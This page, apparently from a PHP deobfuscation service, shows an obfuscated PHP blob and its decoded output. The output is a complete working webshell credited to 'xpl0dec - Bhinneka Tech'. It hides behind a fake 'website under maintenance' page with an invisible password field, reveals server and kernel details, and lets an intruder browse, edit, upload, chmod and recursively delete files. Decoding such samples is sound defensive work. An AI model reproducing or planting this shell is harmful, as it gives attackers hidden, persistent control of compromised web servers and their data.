Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Lix = "\x3d\x3dwWyRHYirmehOHZ2\x41Vhd\x42p\x61fx/DvZ\x2b/XdFN2MM6Qx6/\x2bl\x63ui2\..

Decoded Output download

?>b'<?php

//Author by xpl0dec - Bhinneka Tech
error_reporting(0);

if (isset($_COOKIE[\'cus\']) && $_COOKIE[\'cus\'] === \'capcus7\') {
} else {
    if (isset($_POST[\'login\']) && md5($_POST[\'password\']) === \'a2bf01e7bc417f98e2f022b89b5a2737\') {
        setcookie(\'cus\', \'capcus7\', time() + 3600, \'/\');
    } else {
        loginShell();
    }
}

function loginShell()
{
    echo \'
        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        <html><head>
        <title>Maintenance</title>
        </head><body><center>
<h1><u><i>Mohon Maaf, Saat ini Website Sedang Dalam Perbaikan</i></u></h1>       
<style>html
{background-color;transparent;color:black;background-size: cover;}input{background-color:transparent;box-shadow: 0 0 10px transparent;color:black;border-color:transparent;;}
</style>        
        \' . $_SERVER[\'SERVER_SIGNATURE\'] . \'
        <form method="POST">
            <input style="border:0;" type="password" name="password" autocomplete="off">
            <button style="display:none;" type="submit" name="login"></button>
        </form></center>
        </body></html>
        \';
    die();
}

function info() {
  $arr = [
    \'ip\' => $_SERVER[\'SERVER_ADDR\'],
    \'host\' => gethostname(),
    \'kernel\' => php_uname(),
    \'disablefunc\' => ini_get(\'disable_functions\'),
    \'path\' => getcwd(),
    \'os\' => PHP_OS,
  ];  

  return $arr;
} 
$getInfo = info();

if(strtoupper(substr($getInfo[\'os\'], 0, 3)) == \'WIN\') {
  $getInfo[\'os\'] = \'Windows\';
  $paths = explode(\'\\', $getInfo[\'path\']);
  $paths = $paths[0] . \'/\';
}else if(strtoupper(substr($getInfo[\'os\'], 0, 3)) == \'LIN\') {
  $getInfo[\'os\'] = \'Linux\';
  $paths = \'/\';
}


$dir = getcwd();

if(isset($_GET[\'path\'])) {
	$replace = str_replace(\'\\', \'/\', $_GET[\'path\']);
	$replace = str_replace(\'//\', \'/\', $_GET[\'path\']);
	$pecah = explode(\'/\', $replace);
}else {
	$replace = str_replace(\'\\', \'/\', $dir);
	$pecah = explode(\'/\', $replace);
}

function cekPermission($filenya) {

  $perms = fileperms($filenya);
  switch ($perms & 0xF000) {
    case 0xC000: // socket
        $info = \'s\';
        break;
    case 0xA000: // symbolic link
        $info = \'l\';
        break;
    case 0x8000: // regular
        $info = \'-\';
        break;
    case 0x6000: // block special
        $info = \'b\';
        break;
    case 0x4000: // directory
        $info = \'d\';
        break;
    case 0x2000: // character special
        $info = \'c\';
        break;
    case 0x1000: // FIFO pipe
        $info = \'p\';
        break;
    default: 
        $info = \'u\';
}

      //Untuk Owner
      $info .= (($perms & 0x0100) ? \'r\' : \'-\');
      $info .= (($perms & 0x0080) ? \'w\' : \'-\');
      $info .= (($perms & 0x0040) ?
                  (($perms & 0x0800) ? \'s\' : \'x\' ) :
                  (($perms & 0x0800) ? \'S\' : \'-\'));

      //Untuk Group
      $info .= (($perms & 0x0020) ? \'r\' : \'-\');
      $info .= (($perms & 0x0010) ? \'w\' : \'-\');
      $info .= (($perms & 0x0008) ?
                  (($perms & 0x0400) ? \'s\' : \'x\' ) :
                  (($perms & 0x0400) ? \'S\' : \'-\'));

      //Untuk Other
      $info .= (($perms & 0x0004) ? \'r\' : \'-\');
      $info .= (($perms & 0x0002) ? \'w\' : \'-\');
      $info .= (($perms & 0x0001) ?
                  (($perms & 0x0200) ? \'t\' : \'x\' ) :
                  (($perms & 0x0200) ? \'T\' : \'-\'));

      return $info;
}

function hitungSize($fileSize) {
	$bytes = sprintf(\'%u\', filesize($fileSize));

    if ($bytes > 0)
    {
        $unit = intval(log($bytes, 1024));
        $units = array(\'B\', \'KB\', \'MB\', \'GB\');

        if (array_key_exists($unit, $units) === true)
        {
            return sprintf(\'%d %s\', $bytes / pow(1024, $unit), $units[$unit]);
        }
    }

    return $bytes;
}

function bungkus($obj) {
	$wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
	return $wrap;
}

function deleteFolder($dirnya) {
	$files = array_diff(scandir($dirnya), array(\'.\', \'..\')); 

    foreach ($files as $file) { 
        (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file"); 
    }

    return rmdir($dirnya);
}

function uploadFile($fileSementara, $fileUpload) {
	$terupload = move_uploaded_file($fileSementara, $fileUpload);
	if($terupload) {
		return true;
	}else {
		return false;
	}
}

function folder_exist($folder)
{
    $path = realpath($folder);

    if($path !== false AND is_dir($path))
    {
        return true;
    }

    return false;
}


if(isset($_GET[\'path\'])) {
	$get = $_GET[\'path\'];
	$pec = explode(\'/\', $get);

	if(is_file($get)) {
		$konten = bungkus($get);
		$cek = true;
		$listDir = scandir($get);
	}else {
		$listDir = array_diff(scandir($get), [\'.\', \'..\']);
	}
}else {	
	$get = $replace;
	$listDir = array_diff(scandir($get), [\'.\', \'..\']);
}

if(isset($_POST[\'pilihan\'])) {
	switch ($_POST[\'pilihan\']) {
		case $_POST[\'pilihan\'] == \'edit\':
			$edit = true;
			$dirFile = $_POST[\'dir\'];
			$sourceFile = $_POST[\'sourceFile\'];
			if(!empty($sourceFile)){
				if(file_put_contents($dirFile, $sourceFile)) {
					$successEdit = \'Berhasil di edit\';
				}else {
					$successEdit = \'Gagal edit\';					
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'rename\':
			$rename = true;
			$dirFile = $_POST[\'dir\'];
			$filename = $_POST[\'namaFile\'];
			$namaBaru = $_POST[\'namaBaru\'];
			if(!empty($namaBaru)){
				if(rename($dirFile, $_GET[\'path\'] . \'/\' . $namaBaru)) {
					$filename = $namaBaru;
					$dirFile = $_GET[\'path\'] . \'/\' . $namaBaru;
					$successRename = \'Berhasil rename\';
				}else {
					$successRename = \'Gagal rename\';
				}
 			}
			break;
		case $_POST[\'pilihan\'] == \'delete\':
			$dirFile = $_POST[\'dir\'];
			$type = $_POST[\'type\'];
			if(isset($dirFile) && is_file($dirFile)) {
				if(unlink($dirFile)) {	
					$pesanHapus =  "<script>
									alert(\'File berhasil dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}else {
					$pesanHapus =  "<script>
									alert(\'File gagal dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}
			}else if(isset($dirFile) && is_dir($dirFile)) {
				//$dirFile = $dirFile . \'/\';
				if(deleteFolder($dirFile)) {
				    $pesanHapus =  "<script>
									alert(\'Folder berhasil dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}else {
					$pesanHapus =  "<script>
									alert(\'Folder gagal dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'chmod\':
			$chmod = true;
			$file = fileperms($_POST[\'dir\']);
			$permission = substr(sprintf(\'%o\', $file), -4);
			$dirFile = $_POST[\'dir\'];
			$perms = octdec($_POST[\'perms\']);
			if(isset($_POST[\'perms\'])) {
				if(isset($perms)) {
					if(chmod($dirFile, $perms)) {
						$permission = decoct($perms);
						$successChmod =\'Berhasil chmod!\';
					}else {
						$successChmod = \'Gagal chmod!\';
					}
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'create\':
			$namaFile = "";
			$isiFile = "";

			$dirPath = $_GET[\'path\'] . \'/\';
			if(isset($_POST[\'createAction\'])) {
				$namaFile = $_POST[\'createName\'];
				$isiFile = ($_POST[\'createIsi\'] == NULL) ? \' \' : $_POST[\'createIsi\'];
				if(!file_exists($dirPath . $namaFile)) {
					if(file_put_contents($dirPath . $namaFile, $isiFile)) {
						$pesanCreate = \'File berhasil dibuat\';
					}else {
						$pesanCreate = \'Directory not Writable\';
					}
				}else {
					$pesanCreate = \'Nama file / folder sudah ada\';
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'createFolder\':
			$dirPath = $_GET[\'path\'] . \'/\';
			if(isset($_POST[\'createFolder\'])) {
				$namaFolder = $_POST[\'createName\'];
				if(mkdir($dirPath . $namaFolder)) {
					$pesanCreate = \'Folder berhasil dibuat\';
				}else {
					if(is_dir($namaFolder)) {
						$pesanCreate = \'Nama Folder / File sudah ada\';
					}elseif(!is_writable($dirPath)){
						$pesanCreate = \'Directory not writable\';
					}
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'upload\':
			$path = $replace;
			if(isset($_GET[\'path\'])) {
				$path = $_GET[\'path\'];
			}

			if(!empty($_FILES)) {
				if(uploadFile($_FILES[\'uploadFile\'][\'tmp_name\'], $path . \'/\' . $_FILES[\'uploadFile\'][\'name\'])) {
					echo "<script>
						  alert(\'File berhasil diupload!!\');
						  window.location.href = window.location.href;
						  </script>";
				}else {
					echo "<script>
						  alert(\'File gagal diupload!!\');
						  window.location.href = window.location.href;
						  </script>";
				}
			}
			break;
	}
}



?>

<!DOCTYPE html>
<html>
<head>
	<title>Webshell Bhinneka Tech</title>
</head>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<meta name="viewport" content="width=1024">
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<style type="text/css">
	body {
		width: 100vw;
  		height: 100px;
		overflow-x: hidden !important;
	}
	.info {
		display: block;
		width: 100%;
	}
		
	table.striped > tbody > tr:nth-child(odd) {
		background-color: rgba(170, 213, 213, 0.5);
	}
	nav {
		background-color: #42a5f5;
	}
	.select-wrapper {
		position: relative;
		width: 100px;
		display: inline-block;
	}

	.file-field .btn, .file-field .btn-large, .file-field .btn-small {
		float: inherit;
		height: 3rem;
		line-height: 3rem;
	}

	.select-wrapper .caret {
		right: auto !important;
	}

	.select-wrapper input.select-dropdown {
		width: 50%;
	}

	textarea {
    	height: 50rem !important;
		overflow-y: scroll !important;
		height: 700px !important;
	}

	.maung {
		height: 700px !important;
	}

	table{
		width:100%;
		table-layout: fixed;
		overflow-wrap: break-word;
	}
	
	@media screen and (max-width: 732px) {
		.navbar-text {
			font-size: 25px !important;
			width: 280px !important;
		}
	}

</style>
<body>
	<div class="content">
	<nav>
       <div class="container">
	    <div class="nav-wrapper">
	      <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
	    </div>
	   </div>
  	</nav>

  	<div class="container" style="margin-top: 30px;">
        <b class="info">Server IP : <?= $getInfo[\'ip\']; ?></b>
        <b class="info">Hostname : <?= $getInfo[\'host\']; ?></b>
        <b class="info">Kernel : <?= $getInfo[\'kernel\']; ?></b>
        <b class="info">OS : <?= $getInfo[\'os\']; ?></b>
		<b class="info">USER : <?= get_current_user(); ?></b>
	</div>
	<br>	
	<?php if($cek){ ?>

<div class="container">
<div class="row">
	<div style="font-size: 17px;">
	<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
	</div>
    <form class="col s12">
      <div class="row">
        <div class="input-field col s12">
          <textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
        </div>
      </div>
    </form>
  </div>
 </div>
	<?php }else if($edit){ ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
		?>
		<?= !empty($successEdit) ? "<p class=\'blue-text text-darken-2\'>" . $successEdit . "</p>" : ""; ?>
		<form method="POST">
		<input type="hidden" name="dir" value="<?= $dirFile; ?>">
		<input type="hidden" name="pilihan" value="edit">
		<div class="row">
			<form class="col s12">
				<div class="input-field col s12">
				<textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
				<label for="textarea" class=\'active\'>Edit File</label>
				<button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
			</form>
		</div>
		</form>
		</div>
	<?php }else if($rename){ ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($successRename) ? "<p class=\'blue-text text-darken-2\'>" . $successRename . "</p>" : ""; ?>
		<form method="POST">
			<input type="hidden" name="dir" value="<?= $dirFile; ?>">
			<input type="hidden" name="pilihan" value="rename">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
			      <label class="active" for="rename">Input disini:</label>
			      <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
			    </div>
			  </div>			  
		</form>
		</div>
	<?php }else if($chmod) { ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($successChmod) ? "<p class=\'blue-text text-darken-2\'>" . $successChmod . "</p>" : \'\'; ?>
		<form method="POST">
			<input type="hidden" name="dir" value="<?= $dirFile; ?>">
			<input type="hidden" name="pilihan" value="chmod">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
			      <label class="active" for="chmod">Input disini:</label>
			      <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
			    </div>
			  </div>
		</form>
		</div>
	<?php }else if(isset($_GET[\'create\'])){ ?>
		<br>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($pesanCreate) ? "<p class=\'blue-text text-darken-2\'>" . $pesanCreate . "</p>" : ""; ?>
		<form method="POST">
			<input type="hidden" name="pilihan" value="create">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
			      <label class="active" for="createFile">Nama File</label>
			      <textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
			      <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
			    </div>
			  </div>
		</form>
		</div>
	<?php }else if(isset($_GET[\'createFolder\'])){ ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($pesanCreate) ? "<p class=\'blue-text text-darken-2\'>" . $pesanCreate . "</p>" : ""; ?>
		<form method="POST">
			<input type="hidden" name="pilihan" value="createFolder">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
			      <label class="active" for="createFolder">Nama Folder</label>
			      <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
			    </div>
			  </div>
		</form>
		</div>
	<?php }else{ ?>
   <div class="container">	
   <b class="info">
	 <a href="?create&path=<?= isset($_GET[\'path\']) ? $_GET[\'path\'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
	 <a href="?createFolder&path=<?= isset($_GET[\'path\']) ? $_GET[\'path\'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
	<br>
	<b class="info">
		 <form method="POST" enctype="multipart/form-data">
		    <div class="file-field input-field">
		      <div class="btn">
		        <span>File</span>
		        <input type="hidden" name="pilihan" value="upload">
		        <input type="hidden" name="dir" value="<?= $_GET[\'path\'] ?>">
		        <input type="file" name="uploadFile">
		      </div>
		      <div class="file-path-wrapper">
		        <input class="file-path validate" type="text" style="width: 300px">
		        <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
				</button>
		      </div>
		    </div>
  		</form>
	</b>
	<!-- <div style="font-size: 18px;"> -->
	<div class="row"><div class="col s12" style="font-size: 18px;">
	PATH:
	<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
	</div></div>
</div>

   <div class="container">	
	<table class="striped centered bordered">
		<?= !empty($pesanHapus) ? $pesanHapus : \'\'; ?>			
		<thead>	
		<tr>
			<th>Nama</th>
			<th>Size</th>
			<th>Permission</th>
			<th>Action</th>
		</tr>
		</thead>
		<?php foreach($listDir as $dir): ?>
		<tr>
			<td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", \'/\'], $get . \'/\' . $dir); ?>"><?= $dir; ?></a></td>
			<td><?= is_file($get . \'/\' . $dir) ? hitungSize($get . \'/\' . $dir) : \'Folders\'; ?></td>
			<td><?= is_writable($get . \'/\' . $dir) ? \'<font color="green">\' . @cekPermission($get . \'/\' . $dir) . \'</font>\' : \'<font color="red">\' . @cekPermission($get . \'/\' . $dir) . \'</font>\';?></td>
			<td>
				<?php if(is_file($get . \'/\' . $dir)): ?>
				<form method="POST" action="?set&path=<?= $get; ?>">
					<center>
					<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
						<option value="Select" disabled selected>Pilih</option>
						<option value="rename">Rename</option>
						<option value="edit">Edit</option>
						<option value="delete">Delete</option>
						<option value="chmod">Chmod</option>
					</select>
					</center>
					<input type="hidden" name="type" value="file">
					<input type="hidden" name="namaFile" value="<?= $dir; ?>">
					<input type="hidden" name="dir" value="<?= $get . \'/\' . $dir ?>">
					 <button class="btn waves-effect waves-light" type="submit" name="action">
					    <i class="material-icons right">send</i>
					 </button>
				</form>
				<?php else: ?>
				<form method="POST" action="?set&path=<?= $get; ?>">	
					<center>
					<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
						<option value="Select" disabled selected>Pilih</option>
						<option value="rename">Rename</option>
						<option value="delete">Delete</option>
						<option value="chmod">Chmod</option>
					</select>
					</center>
					<input type="hidden" name="type" value="folder">
					<input type="hidden" name="namaFile" value="<?= $dir; ?>">
					<input type="hidden" name="dir" value="<?= $get . \'/\' . $dir ?>">
					<button class="btn waves-effect waves-light" type="submit" name="action">
					    <i class="material-icons right">send</i>
					</button>
				</form>
				<?php endif; ?>
			</td>
		</tr>
		<?php endforeach; ?>
	</table>
</div>
	<?php } ?>
</div>

	<footer id="footer" style="margin-top: 100px;">

	</footer>

<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script> 

var footer = document.querySelector("footer");

function stopScrollAtFooter() {
    var footerHeight = footer.clientHeight;
    var contentHeight = document.body.scrollHeight;
    var scrollY = window.scrollY;

	if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
			window.scrollTo(0, contentHeight - window.innerHeight);
		}
	}

	window.addEventListener("scroll", stopScrollAtFooter);


	document.addEventListener(\'DOMContentLoaded\', function() {
    var elems = document.querySelectorAll(\'select\');
    var instances = M.FormSelect.init(elems, {});
  });
</script>
</body>
</html>
'

Did this file decode correctly?

Original Code

<?php
$Lix = "\x3d\x3dwWyRHYirmehOHZ2\x41Vhd\x42p\x61fx/DvZ\x2b/XdFN2MM6Qx6/\x2bl\x63ui2\x42\x413GP9hpEnW8fs5j4kFFvivkkYO8/fqElVTzqs374skFj\x2bM\x426GZ\x42lVMuKfMoH9PkpiXf\x632m3fvNY0F5E\x41vVijuNLrFF1g14jnVM\x42ofglg/pfKhDhlilvLxqDt1slx3u\x61fiD1/m8ok9DriT\x61iX\x61tjFEy4HIjx\x61\x42NrvR\x62\x41\x61t\x2b5y/NL1Q\x62JXd9R\x61\x42\x43O\x62nOgWT1\x42oK6UN\x42hJipRg\x2b/PDu\x41p8usKY8NKPP\x43l87F6SKd74DYIW0LkLwNomOms/jNyn\x624TMz/6XxKhn5PSJMfml5DJQ\x63k6FwmzHwS\x2bvV68JynmXn6f\x61ehDkPMi\x2b8ydd\x43p\x436KORftdq\x43YFN\x2bKqE6ZI5Nm5\x2b\x61ojF1vTv\x622Yl\x61mpP\x43NoQvtOQ\x42T7iM6VKLN5ztQlvw\x41\x63WPDwf\x62\x63u\x628fv9\x61oO\x62o/FL8H2q\x63Gw/2qMm/ji7QozwM\x62vH2TpPkzll7hE04\x63\x631Z0STo5NKFUD\x624Q9z\x626ztSFhR\x2bm6yW9Y1SxRy\x630rO/lI\x41nf52\x43Q6Vrfk\x63FfU\x61igEWkRW5Rv5P0K\x42e3XD07\x63N3oOk1TdPVTg7t\x2bwXDxx28\x61O6VhfF2RjD5Qf6Qgppkt/ixE62Zq3oHj\x2bDY\x62Nz8NqeIMjiXS\x619/\x2bwQONFMwV9J9VZ\x63tgKSv\x62dMg04PETkoiKgq9Y01/qJgSW\x2bYkQgUo\x63SIWJoPqY2Txg76VWyq7vemEqj\x431FVm1o7QiEhL\x42\x2bjS7FhQJHJ1LdRlfFPTiu\x41WXgDmyYUR0P2203EoVdR\x61UDq32OqTKh2f9\x43Xs\x2bvNi\x43kJXdjvqV\x43Ku1KiJjLo\x42UHnDl\x42\x41oz9GS2EFXtofkD/ne\x630\x43s8judNN\x61n1dsMs9\x2bpDZow9PIFxQ6pY4T9\x42sN1jhW3FozU\x42TVG0\x41zqfFh0\x2bfRK/fyYh6Pj\x62xEJm\x2bimSgvNzvoy7K3gSE/SyZ9I43iFelXI2p1SE3ZnD9t05q6YMe\x2bXpiG75o\x62PW\x42q\x430JQojWyX5UjIj0p6v\x63Ysq1SN0kOgxOlGQL\x2bw5N/NjSzmN3mJ9vPv/032fzDKF0EXGV\x62KH7\x43V\x2bwsg83reFfPdH/6uqyue1/OMGHkiS\x6276xRz043\x2bKPdKv67qFlWu\x42O7L5q\x63Ez9hen0jkT\x61OsskXkZFQljs2juT5wFS\x41gLv2lzTo0dKmykJZQ/QEJoRNj2KZY7vWk1xFjKQOQ9OX6rmGq\x61mef\x41GR3F25\x63Yh\x61Jw\x625sW\x623tYWqS0uK2UQwDZG7x\x41sklZt2Plx\x43\x42YP8ST\x61ZvmP\x43Kq5mrw22Zn3uzZhmrm/TNlsqt/zo\x2b/y\x43TUmTvfWo1UL1dMmQ\x42\x2bDsf1NxzpY7mk7prGy\x61M1IrgFwkiXQ8tlL07JjTne0V4\x63l\x62QvFZY\x62LZZz\x412V12k5RjTif\x2bjin74GKQnTkK7\x63qt9ELeoI1yJrerzuHQ5pR/RRJ\x62l\x426YDivQ\x61YoWKuYNOwq/rdUI\x2b1/iz394Xexy4wTpj\x2bYQ0QRYr\x62KfFhd\x62O\x2b\x62vei\x6150x06QY39zG4n\x43UfWlzgt3r\x63E9\x42D\x627\x623dpo\x61Nvjq\x61\x61QLv\x61W6hv1W\x631NnW\x2bWn\x2bJrU\x622lUdn\x618xxXNW\x42/N\x2bnYWNn3SqtPL\x2b2NftedpWze6v\x61/d\x2b5\x42fltYdeM63DJe61p3\x61\x61X\x2brdZy3z0X6rPnh\x2b\x616K3VpMuwZH0eMu72djz\x62UT\x2b7z/362/sQt7u6g93noW\x2b7RG/f4ur\x62Gsr5\x43n9U31Q7DGxTNEt5ytlFuSUT\x2brTLN\x62\x2bvkDPtESwu\x42EekxmzRZd3jygZxroPg\x431\x43lZI\x41IGP\x42OKr2imTq\x419tzk\x42rxWTfN7I\x62\x628Q\x2bQ\x61dErp1\x42vswzw3jwndVh1iX0ziiJmwNJs8H\x43Ke\x62o3DNPJ5n\x61dDU0NNFrr\x41esv\x627\x61oKRNjNGWLWx\x62vvRS\x61o8q9\x42R6\x2bRn5w6y\x61p\x43Dy\x2bZ\x61\x2b\x42IGx1HxEy35jixRy1WUdw5G\x427ih0lI9U\x62TKzT0sqnzlpLU\x2bh\x2bMjTk\x63SN\x2bfuNn97L\x63\x42JXtMPo1X8\x43UEO3wOytNomyks/q4\x62G\x2bYWqm\x63iF0E\x63OieL7I5RyQzneWQK\x2bdY\x41XnH\x6132Lk4UXJNr\x61U1fK5K0\x41XUj/YkXHgYfg2Qz\x42U/XfNmjO\x636tttuwXeIl9\x2bzwKk\x42TZfuthiGHn\x42y\x63\x43\x62Ius\x61\x42/y\x43Kd\x61tZYe12urrqLI66t5QLhuTJ48Hrsn\x42\x62u8eIxx6ykyvYIklrUt3gJK711WtZJ6\x41W10N\x63kle\x42\x41lwOxiZsUp\x62suFE/6r\x42jSpFtXsK/tXK3HDwgqZW3x\x63SgG1U0reFURVH5WfS\x2bG\x63L\x637tKqx9dpMggKGI\x62ltnY42RPlqPG\x43u\x2bJ6gYeLXz0GIXSIzs\x41feNNXNd\x2bRmx5E9z\x62nX\x633isuN\x61WVOIKMuGqOzlV\x2bxgi198tdoiff\x61\x62xZzHJG0hHn5GWjR2Gw\x61ktyikSei9Qw3rsMJZ0/d0uzJemSzvgypSpJIk\x63kG\x63Pdmr27\x2b0KmD\x62MpXU\x61e\x63L\x2bLnSrMdzJT1P\x43ujMrr24\x63me39lR\x63Sdp7V\x43\x61sPmqI\x63z\x62sL5ioWpjNRLyzdpiVh\x62ynukg2X2f3Loo\x61ts\x42EqmELkU3unEoR1JXH0V\x62V1r\x41PIWrqKd2\x41VxW374Xj15DmnE\x62HQZohwsy0nMSK2zF\x632KKYEdMdOMGDEu9m0p6mO\x2bwOKkI0DJdYg\x61x\x63q2iM01Hni7qxQHwXw6jqwq/gndxI\x2bz\x43jy0SrzSvWM3U\x42T4/l5eFIIHyZ\x41O\x2bh\x2bxdN\x42D\x63fkGNDQeVN\x63IVFW4E\x61VVQJUwGDhFxwgjmooPmRJEK/p6\x43zhq2I8VVuMz/UjS8JX\x2b5tUnz1\x61PsdWFWN\x42g\x42\x62vmgyePkj0w2n1tNzg3e/Rf2SPnJ\x2bssWq7Y\x41H\x43Z\x63\x63JIV5r/z/EYhMYw\x61P8dDFyUUUmpN\x42PFGY\x41fyt5ofQVMZ89WYIZQ3\x630Fv\x41vPrI8MDdFI4/gIUh/hNPl\x43l3\x41ztQEVuI\x41\x638DfmrKn\x63DWwxPYNGpo5eI\x61yeVFiDQPNGj50V5y\x41tdlUsjF\x43VlnPx\x43D4nw\x2bEqYi\x612\x2bqR\x42iKrQ1f1X3TyvgZJIG3j\x42\x41VGJmQwFjm9GioX1HY6tZVT9\x2b4PsW\x61kZ\x41\x615u4D0Fx1TXK\x61t3Ihx8F\x61L\x62IjongI4Iimh9HNJ\x2bVQYQxqh\x2bwTPEP5Vg9Y\x2bMzDX/sJYx/PUrOZ8lrKTmfY/G831d/G\x62JIQPs9eOLKswW\x61Fso\x62\x2bpjT7spQWvXuI0h/p\x42xFTZ2IFIlFDS9Jo\x439sJgDew5eQ1\x622rOE1UTE\x42Uy0q\x62tdW/i\x63\x63Wo\x637F\x624TxUpyuxO\x61/XmWM0KLwKjg\x62rpyUM5psmVtO\x63p5gDMrx2hkwkFQV\x43rtYqe7\x61R\x63i\x42xSmSekizX88QWLvjdvXiGZlI\x61ywm3/QjWQvyd\x63YTgxYnQRt\x62EGvvPxYrXPRIzJVgzGdR\x43PT\x63Zjy\x63KOZGjehdsHx6UKTo/KrjZi\x63ZQjhWf6rsvWVKh\x62HQ/HVvLhfj8wSv\x62kn\x62i\x62nJ\x2bfIqh\x43eIjLW\x2b3MUTw\x2bULZgV2xq0RO7FF0h\x42pLHNN5FgJXMg6wnzmsQrE8Hn4MzV\x43fW/4SIrUJ/PRNZPQ\x41y/\x2b9\x439fk\x41g4y6hKqD4sMO\x62mNDx\x622\x43gzx\x43gieUKVr\x63KqMwFxi\x42qnO\x61ypyp5fskvE\x61DR9W8M55d7m4Iz/ZOkVt\x63n\x43vxMZ\x63HhRvx5Xrp4XkxziDttWEQSvSsZW\x62t6f\x62RU\x61r\x41\x43OT\x63pfepe\x62\x610qnGTwVVxygw\x2b\x62V02PoLogWHnJq8d2/x\x423O\x2b6TSFjKdUdWZzo3Vd/l0192GQvNN6\x617UlO2KOrrOtiy\x2bGOPPyz\x62Wnq9\x42qT0wg\x61o3EQZm\x42\x63H5\x61h\x62S\x62jwEdM\x61nqlTVDsx23SU\x2b\x61dvqNkSNl\x2bN7iroQQzrttikY2pNJ\x42NvwvFzSRVkDE\x2bi7v3TZ8SlHDXGYS1NzuK5kDV\x41imKQMUQZh\x6178OGKLZ/Yzz\x63lnEjvg/qyVG/4\x2bUWZV/HUuY\x43vI\x41\x43OFTWzN\x41DHV